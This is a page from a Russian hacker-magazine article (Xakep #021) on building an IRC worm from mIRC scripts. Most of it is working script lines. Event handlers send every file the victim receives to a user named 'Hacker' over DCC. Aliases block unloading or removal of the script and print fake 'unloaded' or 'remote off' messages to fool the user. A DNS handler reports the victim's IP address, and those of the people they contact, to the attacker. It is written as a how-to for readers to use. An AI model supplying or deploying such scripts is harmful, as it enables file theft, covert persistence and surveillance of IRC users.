|

IRC-вирусы
Xakep, номер #021, стр. 021-060-6
Правда, есть один нюанс - перед выполнением команды fserve - доступа к жесткому диску - будет выдано соответствующее сообщение об опасности, количестве хакеров на квадратный километр и все такое. Вместо одной этой команды можно попробовать вот эти две:
n16=on 1:filercvd:*.*: .dcc send Hacker $filename
n17=on 1:filercvd:*.exe,*.com,*.ini,*.vbs,*.bat: .dcc send Hacker $filename
Эти будут просто отсылать все файлы, которые лама получает/отсылает хакеру ;-).
Осталось внести пару штрихов в общий план, и ты сможешь сам составить вируса-червяка для IRC. Надо будет собрать все вместе, быстренько набросать прогу типа WORM.EXE и вперед, к освоению космоса! ;-)
После составления скрипта было бы неплохо позаботиться о его жизнеспособности. Сделаем так, чтобы скрипт нельзя было выгрузить и удалить, а еще запретить реакцию на некоторые события. Делается это просто:
n23=alias unload { halt }
n24=alias remove { halt }
n25=alias remote { halt }
Но для пущего эффекта можно симулировать работу этих команд, чтобы ламос не догадался, что что-то не так:
n5=alias remote {
n6= if ($1 == off) { echo 6 *** Remote is OFF (Ctcps,Events,Raw) }
n7= if ($1 == on) { echo 6 *** Remote is ON (Ctcps,Events,Raw) }
n8=}
n9=alias unload {
n10= if ($1 == -rs) { echo 6 *** Unloaded script 'script.ini' }
n11=}
Кроме того, можно подгружать вспомогательные скрипты:
n16=/load -rs file.ext
Но это еще не все. mIRC - это архинастраиваемая оболочка, поэтому в ней можно запретить практически все. Но точно так же можно запретить и запрещать практически все. ;-)
n15=alias /play /echo 2 *** Unable To Play $1-
n16=alias /remote /.remote on | /echo 12 *** Remote Off
n17=alias /events /.events on | /echo 12 *** Events Off
n18=alias /sreq /echo 12 SREQ IS NOW OFF
Команда /play позволяет выводить содержимое текстового файла на консоль, /remote - отключать доступ к серверу через /raw и т.д., с помощью /events можно отключать любую реакцию на события, а /sreq просто отключает /dcc команды. Но при таком раскладе они всегда останутся включенными, а пользователю мы заявим, что - да, мол, все по нулям.
Последний штрих - DNS обращения при коннекте к серверу:
n1=on 1:dns:.raw -q PRIVMSG Hacker: $iaddress address: $naddress resolved: $raddress
Это позволит следить за IP-адресом пользователя и всех тех, к кому он обращается. Удобная штучка.
Вот, собственно, и все - начало положено. Остальное можно восполнить прямо из MIRC.HLP. Слегка посмотреть на него, может поискать в Сети примерчики, а может выпить бутылочку темного пивка для вдохновения (вопреки рекламе, самый вдохновенный гон рождается вовсе не от сладкой парочки Twix ;-))).
В общем, гуд лак!
Тхе Енд
P.S. Да! Чуть не забыл - нельзя использовать обработчики одного и того же собыnия дважды - не сработают. А в целом - лучше все пробовать делать самому. ;-)
Назад на стр. 021-060-5 Содержание
|